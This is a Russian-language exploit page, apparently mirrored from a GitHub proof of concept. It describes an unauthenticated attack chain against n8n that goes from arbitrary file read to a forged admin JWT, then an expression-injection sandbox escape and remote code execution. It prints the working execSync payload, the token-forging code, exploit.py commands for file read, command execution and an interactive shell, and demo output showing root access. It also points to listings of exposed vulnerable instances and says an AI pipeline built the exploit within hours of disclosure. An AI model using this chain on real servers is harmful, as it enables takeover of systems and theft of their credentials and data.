## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHOCAPIKK-CVE-2026-21858
# CVE-2026-21858 + CVE-2025-68613 — полная цепочка атак на n8n
**Неаутентифицированное произвольное чтение файлов → Фальсификация токена администратора → Обход песочницы → RCE**
|
---|---
**CVE**| CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
**CVSS**| 10.0 + 9.9 (Критический)
**Затронутые версии**| <= 1.65.0 (AFR) / >= 0.211.0 (RCE)
**Исправлено**| 1.121.0 (AFR) / 1.120.4+ (RCE)
**Раскрыто**| 2026-01-07 11:09 UTC
**Кодовое имя**| Ni8mare
**Автор**| Dor Attias (Cyera)
**Эксплоит**| Chocapikk
**Процесс**| Автоматизировано ИИ: diff патча → воспроизведение → лаборатория → эксплоит (~9 ч после раскрытия)
**Тип**| Proof of Concept — НЕ универсальный эксплоит (требуется специфическая конфигурация воркфлоу, см. Ограничения)
## TL;DR
Полная неаутентифицированная цепочка RCE в n8n:
1. **CVE-2026-21858** — путаница Content-Type → произвольное чтение файлов
2. Чтение конфигурации и базы данных → фальсификация JWT администратора
3. **CVE-2025-68613** — инъекция в выражения → обход песочницы → RCE
## Обнаружение
Подверженность уязвимости определяется **версией**. С точки зрения подверженности, в открытом доступе находятся уязвимые экземпляры n8n.
**Результаты LeakIX:** Просмотр уязвимых экземпляров
## Почему этот эксплоит?
Этот эксплоит был разработан независимо от отчёта Cyera (обнаружен после завершения работы). Ключевые отличия:
Оба подхода требуют специфической конфигурации воркфлоу. Cyera нужен чат + интеграция ИИ, этому эксплоиту нужна форма с узлом Respond. Подробности — в разделе Ограничения.
## Цепочка атаки
root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
## CVE-2026-21858 — произвольное чтение файлов из-за путаницы Content-Type
### Патч
root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Легендарный **«Merge commit from fork»** — когда видишь такое, значит, кто-то нашёл что-то острое. 🌶️
### Корневая причина
root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Отправьте `Content-Type: application/json` → управляйте `filepath` → читайте любой файл.
## CVE-2025-68613 — RCE через инъекцию в выражения
### Почему этот обход?
n8n изолирует пользовательский код (узел Code, выражения) с помощью `vm2`/`isolated-vm`. Другие векторы RCE:
Техника| Статус
---|---
Узел Execute Command| Отключён по умолчанию (`N8N_ALLOW_EXEC_COMMAND=false`)
Я использовал **инъекцию в выражения** , потому что она работает на любом n8n с настройками по умолчанию — не требуются специальные узлы или конфигурация. Обход Pyodide (CVE-2025-68668) требует узел Python Code, который может быть доступен не на всех экземплярах.
### Полезная нагрузка
root@kitploit:~
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Выражения n8n имеют доступ к `this.process.mainModule.require` → полный побег из песочницы.
### Фальсификация токена
root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
## Настройка лаборатории
root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: some-email@example.com / ExploitLab123!
## Использование
root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
## Демонстрация
root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: some-email@example.com
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
## Ограничения
**Это НЕ эксплоит типа «взломай любой n8n».** Для работы требуются определённые условия:
Требование| Описание
---|---
**Форма с загрузкой файлов**| На целевой системе должен быть воркфлоу формы с полем загрузки файла
**Пример уязвимой конфигурации воркфлоу:**
root@kitploit:~
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Ключевые элементы: `fieldType: "file"` \+ `respondWith: "binary"`. Такой шаблон распространён в воркфлоу обработки файлов (конвертеры, ресайзеры изображений, процессоры документов).
**Работает:**
* Формы с узлом Respond, возвращающие бинарные данные (конвертеры файлов, процессоры)
* Установки n8n по умолчанию (инъекция в выражения не блокируется)
* Локальные развёртывания и Docker (база данных и конфигурация хранятся на диске)
**Не работает:**
* Формы без узла Respond (файл читается, но содержимое не возвращается в HTTP-ответе)
* Формы, требующие аутентификации
* n8n Cloud (другая архитектура, нет локального доступа к файлам)
* Исправленные версии (>= 1.121.0)
**Примечание:** Уязвимость (произвольное чтение файлов) срабатывает независимо от метода выгрузки данных. Узел Respond — лишь один из способов получить содержимое. Альтернативные методы (OOB, другие выходные узлы) могут работать в зависимости от конфигурации воркфлоу.
**«Слепая» эксплуатация:** Если узла Respond нет, файл всё равно читается n8n, но его нельзя выгрузить через HTTP-ответ. Потребуются альтернативные техники (OOB, тайминг).
## Примеры из реального мира
Уязвимый шаблон (Form Trigger + загрузка файла + Respond to Webhook) существует в публичных GitHub-репозиториях.
**Примечание:** Популярные репозитории n8n-воркфлоу (>100⭐) не используют этот шаблон. Это проекты сообщества и личные проекты:
Это **воркфлоу, предоставленные сообществом**. Ни один официальный шаблон n8n.io не использует этот уязвимый шаблон.
## Ссылки
* Vulhub Environment — Готовая лаборатория на Vulhub
* Cyera Research — Ni8mare: полный разбор — Оригинальное исследование Дора Аттиаса
* GHSA-v4pr-fm98-w9pg — CVE-2026-21858
* GHSA-v98v-ff95-f3cp — CVE-2025-68613
* Шаблон Nuclei CVE-2025-68613
* Результаты поиска LeakIX — Публично доступные уязвимые экземпляры
* Formidable — «Библиотека, а не песня» (спасибо Cyera за смех)